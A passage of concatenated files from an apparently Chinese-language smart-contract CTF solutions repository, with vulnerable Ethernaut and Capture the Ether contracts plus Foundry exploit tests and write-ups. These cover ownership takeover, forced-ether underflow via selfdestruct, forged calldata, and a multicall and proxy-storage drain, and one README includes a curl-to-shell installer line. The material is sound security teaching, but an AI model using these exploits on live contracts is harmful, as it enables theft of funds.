donationChallenge.owner()); 37 | emit log_named_address("hacker's address", hacker); 38 | 39 | donationChallenge.withdraw(); 40 | vm.stopPrank(); 41 | 42 | emit log_named_uint("after hack, donationChallenge's balance", address(donationChallenge).balance); 43 | emit log_named_uint("after hack, hacker's balance", hacker.balance); 44 | 45 | assertTrue(donationChallenge.isComplete()); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/Ethernaut/Fallback/README.md: -------------------------------------------------------------------------------- 1 | # Fallback 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB) 6 | 7 | 通过这关你需要 8 | 9 | 1. 获得这个合约的所有权 10 | 2. 把这个合约的的余额减到0 11 | 12 | ## 运行 13 | 14 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 15 | 16 | ```sh 17 | $ cd WTF-CTF 18 | 19 | $ forge test -C src/Ethernaut/Fallback -vvvvv 20 | ``` 21 | 22 | ## 功能简述 23 | 24 | 1. 合约中有两个地方可以替换owner 25 | 26 | contribute函数 27 | 28 | ```solidity 29 | function contribute() public payable { 30 | require(msg.value < 0.001 ether); 31 | contributions[msg.sender] += msg.value; 32 | if(contributions[msg.sender] > contributions[owner]) { 33 | owner = msg.sender; 34 | } 35 | } 36 | ``` 37 | 38 | receive函数 39 | 40 | ```solidity 41 | receive() external payable { 42 | require(msg.value > 0 && contributions[msg.sender] > 0); 43 | owner = msg.sender; 44 | } 45 | ``` 46 | 47 | 2. 使用contribute函数进行攻击,需要我们比owner还要有钱 48 | 49 | 查询合约owner有多少余额,1000贡献(1000ETH) 50 | 51 | ```solidity 52 | constructor() { 53 | owner = msg.sender; 54 | contributions[msg.sender] = 1000 * (1 ether); 55 | } 56 | ``` 57 | 58 | 虽然我们可以使用Foundry进行钞能力攻击,但...... 59 | 60 | 3. 使用receive函数进行攻击,需要我们给合约转一笔钱并且还需要我们在合约中的余额大于0。所以先给合约贡献一点钱,再给合约转一笔钱。 61 | 62 | ```solidity 63 | Fallback(payable(fallBack)).contribute{value: 1}(); 64 | 65 | (bool success, bytes memory data) = payable(fallBack).call{value: 1}(""); 66 | if (!success) { 67 | revert(string(data)); 68 | } 69 | ``` 70 | 71 | 即可获取到合约的owner。 72 | 73 | ```solidity 74 | address owner = Fallback(payable(fallBack)).owner(); 75 | assertEq(owner, address(this)); 76 | ``` 77 | 78 | 4. 最后把合约中的钱转走 79 | 80 | ```solidity 81 | Fallback(payable(fallBack)).withdraw(); 82 | ``` 83 | 84 | 5. 提交合约实例,完成目标。 85 | 86 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Token_whale/TokenWhaleChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract TokenWhaleChallenge { 5 | address player; 6 | 7 | uint256 public totalSupply; 8 | mapping(address => uint256) public balanceOf; 9 | mapping(address => mapping(address => uint256)) public allowance; 10 | 11 | string public name = "Simple ERC20 Token"; 12 | string public symbol = "SET"; 13 | uint8 public decimals = 18; 14 | 15 | constructor(address _player) { 16 | player = _player; 17 | totalSupply = 1000; 18 | balanceOf[player] = 1000; 19 | } 20 | 21 | function isComplete() public view returns (bool) { 22 | return balanceOf[player] >= 1000000; 23 | } 24 | 25 | event Transfer(address indexed from, address indexed to, uint256 value); 26 | 27 | function _transfer(address to, uint256 value) internal { 28 | unchecked { 29 | balanceOf[msg.sender] -= value; 30 | } 31 | balanceOf[to] += value; 32 | emit Transfer(msg.sender, to, value); 33 | } 34 | 35 | function transfer(address to, uint256 value) public { 36 | require(balanceOf[msg.sender] >= value); 37 | require(balanceOf[to] + value >= balanceOf[to]); 38 | 39 | _transfer(to, value); 40 | } 41 | 42 | event Approval(address indexed owner, address indexed spender, uint256 value); 43 | 44 | function approve(address spender, uint256 value) public { 45 | allowance[msg.sender][spender] = value; 46 | emit Approval(msg.sender, spender, value); 47 | } 48 | 49 | function transferFrom(address from, address to, uint256 value) public { 50 | require(balanceOf[from] >= value); 51 | require(balanceOf[to] + value >= balanceOf[to]); 52 | require(allowance[from][msg.sender] >= value); 53 | 54 | allowance[from][msg.sender] -= value; 55 | _transfer(to, value); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_secret_number/README.md: -------------------------------------------------------------------------------- 1 | # Guess the secret number 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/lotteries/guess-the-secret-number/) 6 | 7 | 原题目要求 GuessTheSecretNumberChallenge 合约的 ether 余额为 0。而调用 guess 并输入答案,如果答案的 hash 等于 answerHash 即可转移 ether 出去。 8 | 9 | ## 运行 10 | 11 | **安装 Foundry** 12 | 13 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境。 14 | 15 | **安装 Rust** 16 | ```sh 17 | $ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh 18 | ``` 19 | 并根据提示继续操作。 20 | 21 | **获取 secret number** 22 | ```sh 23 | $ cd WTF-CTF 24 | 25 | $ cargo run --bin get_hash 26 | keccak256(170): "db81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365" 27 | ``` 28 | 即获得 secret 为 170。具体 rust 代码在 [get_hash](./get_hash/) 29 | 30 | **运行测试** 31 | 32 | ```sh 33 | $ cd WTF-CTF 34 | 35 | $ forge test -C src/Capture_the_Ether/Lotteries/Guess_the_secret_number -vvv 36 | ``` 37 | 38 | ## 功能简述 39 | 40 | 因为 guess 的参数是 uint8 类型,因此解空间大小为 256,我们可以在链下暴力破解: 41 | ```rs 42 | fn main() { 43 | for i in 0..=255 { 44 | let mut hasher = Keccak256::default(); 45 | hasher.update(&[i]); 46 | let bytes_i = hasher.finalize().to_vec(); 47 | let hex_i = hex::encode(bytes_i); 48 | if hex_i.contains("db81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365") { 49 | println!("keccak256({}): {:?}", i, hex_i); 50 | } 51 | } 52 | } 53 | ``` 54 | 通过遍历 0-256 的 hash,如果有等于 `answerHash` 的,输出结果。 55 | 56 | 57 | 在测试合约中的 setUp,我们先给 hacker 转入 1 ether 用于后续调用 guess,然后创建 GuessTheSecretNumberChallenge 58 | ```solidity 59 | function setUp() public { 60 | payable(hacker).transfer(1 ether); 61 | 62 | guessTheSecretNumberChallenge = new GuessTheSecretNumberChallenge{value: 1 ether}(); 63 | } 64 | ``` 65 | 66 | 在测试合约的 testGuessTheSecretNumber 中,我们调用 guess,设置参数为 170,并携带 1 ether 就能成功完成挑战 67 | ```solidity 68 | vm.startPrank(hacker); 69 | guessTheSecretNumberChallenge.guess{value: 1 ether}(170); 70 | vm.stopPrank(); 71 | ``` -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Retirement_fund/README.md: -------------------------------------------------------------------------------- 1 | # Retirement fund 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/math/retirement-fund/) 6 | 7 | 原题目要求 RetirementFundChallenge 合约的 ether 余额为 0。最开始的时候 owner 会充值 1 ether 到合约。 8 | 9 | ## 运行 10 | 11 | **安装 Foundry** 12 | 13 | 根据 [Foundry 官方文档](https://getfoundry.sh/)配置好运行环境。 14 | 15 | **运行测试** 16 | 17 | ```sh 18 | $ cd WTF-CTF 19 | 20 | $ forge test -C src/Capture_the_Ether/Math/Retirement_fund -vvv 21 | ``` 22 | 23 | ## 功能简述 24 | 25 | 在原题 `^0.4.21` 版本下,所有的算术操作都是 unchecked,因此为了能够复现这个 Challenge,我给 collectPenalty 里面的某一行增加了 unchecked。 26 | 27 | TokenWhaleChallenge 有两个角色,一个是 owner,他部署了这个合约,并锁定了 1 ether。另一个是 player,如果 owner 提前提走资金,合约的以太币的 10% 会转到 player。 28 | 29 | 该合约的问题是使用了 `address(this).balance` 来作为判定条件,实际上一个合约的 ether balance 是可以使用出块时 coinbase 的充值或者其他合约的 selfdestruct 来强制改变的。 30 | 31 | 解决思路是,player 转入合约一定量的 ether,使得 `withdrawn = startBalance - address(this).balance` 成为一个下溢出的数,然后转移所有的资金。 32 | 33 | 在 testRetirementFund1 测试函数中,尝试直接 RetirementFundChallenge 合约转账失败,因为原合约里面没有实现 fallback/receive 函数 34 | 35 | ```solidity 36 | vm.startPrank(hacker); 37 | vm.expectRevert(); 38 | payable(address(retirementFundChallenge)).transfer(1 wei); 39 | 40 | vm.expectRevert(); 41 | retirementFundChallenge.collectPenalty(); 42 | vm.stopPrank(); 43 | ``` 44 | 45 | 因此我们需要部署一个辅助合约来强制转移 ether。 46 | 47 | 这个是辅助合约 Attacker,在执行构造函数的时候就自我销毁,并将余额转入 target 地址。 48 | 49 | ```solidity 50 | // SPDX-License-Identifier: MIT 51 | 52 | pragma solidity ^0.8.19; 53 | 54 | contract Attacker { 55 | constructor(address payable target) payable { 56 | require(msg.value > 0); 57 | selfdestruct(target); 58 | } 59 | } 60 | ``` 61 | 62 | 然后我们在 testRetirementFund2 里,使用 1 wei 创建 Attacker,这样就能强制将 1 wei 转入 RetirementFundChallenge 合约 63 | 64 | ```solidity 65 | vm.startPrank(hacker); 66 | new Attacker{value: 1 wei}(payable(address(retirementFundChallenge))); 67 | 68 | retirementFundChallenge.collectPenalty(); 69 | vm.stopPrank(); 70 | ``` 71 | 72 | -------------------------------------------------------------------------------- /src/Ethernaut/Gatekeeper_Three/GatekeeperThree.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract SimpleTrick { 5 | GatekeeperThree public target; 6 | address public trick; 7 | uint256 private password = block.timestamp; 8 | 9 | constructor(address payable _target) { 10 | target = GatekeeperThree(_target); 11 | } 12 | 13 | function checkPassword(uint256 _password) public returns (bool) { 14 | if (_password == password) { 15 | return true; 16 | } 17 | password = block.timestamp; 18 | return false; 19 | } 20 | 21 | function trickInit() public { 22 | trick = address(this); 23 | } 24 | 25 | function trickyTrick() public { 26 | if (address(this) == msg.sender && address(this) != trick) { 27 | target.getAllowance(password); 28 | } 29 | } 30 | } 31 | 32 | contract GatekeeperThree { 33 | address public owner; 34 | address public entrant; 35 | bool public allow_entrance; 36 | 37 | SimpleTrick public trick; 38 | 39 | function construct0r() public { 40 | owner = msg.sender; 41 | } 42 | 43 | modifier gateOne() { 44 | require(msg.sender == owner); 45 | require(tx.origin != owner); 46 | _; 47 | } 48 | 49 | modifier gateTwo() { 50 | require(allow_entrance == true); 51 | _; 52 | } 53 | 54 | modifier gateThree() { 55 | if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) { 56 | _; 57 | } 58 | } 59 | 60 | function getAllowance(uint256 _password) public { 61 | if (trick.checkPassword(_password)) { 62 | allow_entrance = true; 63 | } 64 | } 65 | 66 | function createTrick() public { 67 | trick = new SimpleTrick(payable(address(this))); 68 | trick.trickInit(); 69 | } 70 | 71 | function enter() public gateOne gateTwo gateThree { 72 | entrant = tx.origin; 73 | } 74 | 75 | receive() external payable {} 76 | } 77 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Fuzzy_identity/get_addr/src/lib.rs: -------------------------------------------------------------------------------- 1 | use sha3::{Digest, Keccak256}; 2 | 3 | /// Deterministically calculates the address a contract will be deployed to using `CREATE2`. 4 | /// 5 | /// This implements the following formula https://eips.ethereum.org/EIPS/eip-1014 6 | pub fn calc_addr(address: &[u8; 20], salt: &[u8; 32], init_code: &[u8]) -> [u8; 20] { 7 | let mut hasher = Keccak256::new(); 8 | hasher.update(init_code); 9 | 10 | let mut code_hash = [0; 32]; 11 | code_hash.copy_from_slice(&hasher.finalize()); 12 | calc_addr_with_hash(address, salt, &code_hash) 13 | } 14 | 15 | pub fn calc_addr_with_hash(address: &[u8; 20], salt: &[u8; 32], code_hash: &[u8; 32]) -> [u8; 20] { 16 | let mut buf = [0; 85]; 17 | 18 | buf[0] = 0xFF; 19 | buf[1..21].copy_from_slice(address); 20 | buf[21..53].copy_from_slice(salt); 21 | buf[53..85].copy_from_slice(code_hash); 22 | 23 | let mut hasher = Keccak256::new(); 24 | hasher.update(&buf[..]); 25 | 26 | let mut ret = [0; 20]; 27 | ret.copy_from_slice(&hasher.finalize()[12..32]); 28 | ret 29 | } 30 | 31 | #[cfg(test)] 32 | mod tests { 33 | use super::*; 34 | 35 | #[test] 36 | fn simple() { 37 | let addr = calc_addr(&[0; 20], &[0; 32], &[0; 1]); 38 | 39 | assert_eq!( 40 | addr.to_vec(), 41 | hex::decode("4D1A2e2bB4F88F0250f26Ffff098B0b30B26BF38").expect("valid addr") 42 | ) 43 | } 44 | 45 | #[test] 46 | fn more_complex() { 47 | let mut addr = [0; 20]; 48 | let mut salt = [0; 32]; 49 | let init_code = hex::decode("deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef").expect("valid code"); 50 | 51 | hex::decode_to_slice("deadbeef", &mut addr[16..]).expect("valid addr"); 52 | hex::decode_to_slice("cafebabe", &mut salt[28..]).expect("valid salt"); 53 | 54 | let addr = calc_addr(&addr, &salt, &init_code); 55 | 56 | assert_eq!( 57 | addr.to_vec(), 58 | hex::decode("1d8bfDC5D46DC4f61D6b6115972536eBE6A8854C").expect("valid addr") 59 | ) 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Fifty_years/FiftyYearsChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.4.21; 3 | 4 | contract FiftyYearsChallenge { 5 | uint256 constant YEAR = 365 days; 6 | 7 | struct Contribution { 8 | uint256 amount; 9 | uint256 unlockTimestamp; 10 | } 11 | 12 | Contribution[] queue; 13 | uint256 head; 14 | 15 | address owner; 16 | 17 | constructor(address player) public payable { 18 | require(msg.value == 1 ether); 19 | 20 | owner = player; 21 | queue.push(Contribution(msg.value, now + 50 * YEAR)); 22 | } 23 | 24 | function isComplete() public view returns (bool) { 25 | return address(this).balance == 0; 26 | } 27 | 28 | function upsert(uint256 index, uint256 timestamp) public payable { 29 | require(msg.sender == owner); 30 | 31 | if (index >= head && index < queue.length) { 32 | // Update existing contribution amount without updating timestamp. 33 | Contribution storage contribution = queue[index]; 34 | contribution.amount += msg.value; 35 | } else { 36 | // Append a new contribution. Require that each contribution unlock 37 | // at least 1 day after the previous one. 38 | require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days); 39 | 40 | contribution.amount = msg.value; 41 | contribution.unlockTimestamp = timestamp; 42 | queue.push(contribution); 43 | } 44 | } 45 | 46 | function withdraw(uint256 index) public { 47 | require(msg.sender == owner); 48 | require(now >= queue[index].unlockTimestamp); 49 | 50 | // Withdraw this and any earlier contributions. 51 | uint256 total = 0; 52 | for (uint256 i = head; i <= index; i++) { 53 | total += queue[i].amount; 54 | 55 | // Reclaim storage. 56 | delete queue[i]; 57 | } 58 | 59 | // Move the head of the queue forward so we don't have to loop over 60 | // already-withdrawn contributions. 61 | head = index + 1; 62 | 63 | msg.sender.transfer(total); 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Miscellaneous/Token_bank/TokenBankChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./TokenBankChallenge.sol"; 6 | import "./Attacker.sol"; 7 | 8 | contract TokenBankChallengeTest is Test { 9 | TokenBankChallenge public tokenBankChallenge; 10 | address hacker = makeAddr("hacker"); 11 | 12 | function setUp() public { 13 | tokenBankChallenge = new TokenBankChallenge(hacker); 14 | // used to deploy contract. 15 | payable(hacker).transfer(1 ether); 16 | } 17 | 18 | function testAssumeOwnership() public { 19 | emit log_named_string("before hack, isComplete", tokenBankChallenge.isComplete() ? "true" : "false"); 20 | 21 | vm.startPrank(hacker); 22 | Attacker attacker = new Attacker(address(tokenBankChallenge)); 23 | 24 | tokenBankChallenge.withdraw(tokenBankChallenge.balanceOf(hacker)); 25 | emit log_named_uint("hacker balance", tokenBankChallenge.token().balanceOf(hacker)); 26 | 27 | tokenBankChallenge.token().transfer(address(attacker), tokenBankChallenge.token().balanceOf(hacker)); 28 | emit log_named_uint("attacker balance", tokenBankChallenge.token().balanceOf(address(attacker))); 29 | 30 | attacker.deposit(); 31 | emit log_string("----------after deposit----------"); 32 | emit log_named_uint("attacker balance", tokenBankChallenge.token().balanceOf(address(attacker))); 33 | emit log_named_uint("attacker deposited to bank", tokenBankChallenge.balanceOf(address(attacker))); 34 | 35 | attacker.withdraw(); 36 | 37 | vm.stopPrank(); 38 | 39 | emit log_named_string("after hack, isComplete", tokenBankChallenge.isComplete() ? "true" : "false"); 40 | 41 | emit log_named_uint("hacker balance", tokenBankChallenge.token().balanceOf(hacker)); 42 | emit log_named_uint( 43 | "tokenBankChallenge balance", tokenBankChallenge.token().balanceOf(address(tokenBankChallenge)) 44 | ); 45 | emit log_named_uint("attacker balance", tokenBankChallenge.token().balanceOf(address(attacker))); 46 | 47 | assertTrue(tokenBankChallenge.isComplete()); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/Ethernaut/Switch/README.md: -------------------------------------------------------------------------------- 1 | # Switch 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xb2aBa0e156C905a9FAEc24805a009d99193E3E53) 6 | 7 | 打开合约中的开关。turn Switch On 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Switch -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 本题主要涉及`EVM`中对于`bytes`类型的编码。 22 | 23 | `EVM`可以看作256位的虚拟机,每次取数据都取32字节(64个16进制位)数据。 24 | 25 | 如果调用`Switch`合约以关闭开关,我们需要构造的`calldata`如下 26 | 27 | ```hex 28 | 0x30c13ade // flipSwitch(bytes) 29 | 0000000000000000000000000000000000000000000000000000000000000020 // 位置信息 30 | 0000000000000000000000000000000000000000000000000000000000000004 // 长度信息 31 | 20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff() 32 | ``` 33 | 34 | `Switch`合约中的修饰器`onlyOff`通过查看`calldata`中的第68字节开始的4个字节的数据(即 20606e15)。来保证只能关闭开关。 35 | 36 | 至于为什么只查看第68字节开始的4个字节的数据。是因为`EVM`在编码`bytes`动态类型的数据时,添加了位置和长度信息(而位置和长度信息默认是连续且分别占据32个字节)。位置信息表示长度信息所在位置(基于bytes变量的偏移量),长度信息表示内容所占字节数量(bytes内容紧接长度信息后)。 37 | 38 | 而`Switch`合约中`flipSwitch`函数内部通过`call`调用自身函数时的`_data`是外部传入的,也就是说是可以伪造的。只需要保证伪造后`_data`的第68字节开始的4个字节是`turnSwitchOff()`的函数选择器即可。 39 | 40 | 所以,我们构造如下的`calldata` 41 | 42 | ``` 43 | 0x30c13ade // flipSwitch(bytes) 44 | 0000000000000000000000000000000000000000000000000000000000000060 // 位置信息 45 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff // 占位符, 内容无所谓,只需占32字节 46 | 20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff() 47 | 0000000000000000000000000000000000000000000000000000000000000004 // 长度信息 48 | 76227e1200000000000000000000000000000000000000000000000000000000 // turnSwitchOn() 49 | ``` 50 | 51 | 这样,保证了第68字节开始的4个字节是`turnSwitchOff()`的函数选择器。 52 | 53 | 此外`EVM`在解码bytes变量时,首先找位置信息0x60,即bytes变量的长度在0x60的偏移量位置(即 6 * 16个字节,从0开始计数)。长度信息为0x04,(即 4个字节),内容为0x76227e12。 54 | 55 | 通过伪造编码,骗过`Switch`合约对bytes类型的刻板编码印象。 56 | 57 | 此外,可以阅读[Solidity Tutorial : all about Bytes](https://jeancvllr.medium.com/solidity-tutorial-all-about-bytes-9d88fdb22676)和[Solidity Tutorial: All About Calldata](https://betterprogramming.pub/solidity-tutorial-all-about-calldata-aebbe998a5fc),获取更多关于bytes类型和calldata的内容。 -------------------------------------------------------------------------------- /src/Ethernaut/Puzzle_Wallet/PuzzleWallet.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./PuzzleWalletFactory.sol"; 6 | 7 | contract PuzzleWalletTest is Test { 8 | PuzzleWalletFactory factory; 9 | 10 | bytes32 constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; 11 | 12 | function setUp() public { 13 | factory = new PuzzleWalletFactory(); 14 | } 15 | 16 | function testPuzzleWallet() public { 17 | address puzzleProxy = factory.createInstance{value: 0.001 ether}(address(this)); 18 | // address puzzleWallet = address(uint160(uint256(vm.load(puzzleProxy, _IMPLEMENTATION_SLOT)))); 19 | 20 | PuzzleProxy(payable(puzzleProxy)).proposeNewAdmin(address(this)); // 让合约成为PuzzleWallet的owner 21 | PuzzleWallet(puzzleProxy).addToWhitelist(address(this)); // 让合约成为白名单用户 22 | 23 | bytes memory depositData = abi.encodeWithSelector(PuzzleWallet.deposit.selector); 24 | bytes[] memory depositDatas = new bytes[](1); 25 | depositDatas[0] = depositData; 26 | 27 | bytes memory multicallData = abi.encodeWithSelector(PuzzleWallet.multicall.selector, depositDatas); 28 | bytes[] memory multicallDatas = new bytes[](2); 29 | multicallDatas[0] = multicallData; 30 | multicallDatas[1] = multicallData; 31 | 32 | bytes memory Data = abi.encodeWithSelector(PuzzleWallet.multicall.selector, multicallDatas); 33 | bytes[] memory Datas = new bytes[](1); 34 | Datas[0] = Data; 35 | 36 | PuzzleWallet(puzzleProxy).multicall{value: 0.001 ether}(Datas); //重入攻击,使合约中余额变成转账的两倍,合约ETH余额0.001,所以我们转0.001,合约ETH余额变为0.002,我们在合约中的余额也变为0.002 37 | 38 | PuzzleWallet(puzzleProxy).execute(msg.sender, address(PuzzleWallet(puzzleProxy)).balance, ""); //转空合约中的eth 39 | 40 | PuzzleWallet(puzzleProxy).setMaxBalance(uint256(uint160(address(this)))); //让合约成为admin 41 | 42 | PuzzleProxy(payable(puzzleProxy)).upgradeTo(address(this)); // 吃饭完,掀桌子 43 | PuzzleProxy(payable(puzzleProxy)).proposeNewAdmin(address(this)); //让我的账户成为admin 44 | PuzzleProxy(payable(puzzleProxy)).approveNewAdmin(address(this)); 45 | 46 | assertTrue(factory.validateInstance(payable(puzzleProxy), address(this))); 47 | } 48 | } 49 | --------------------------------------------------------------------------------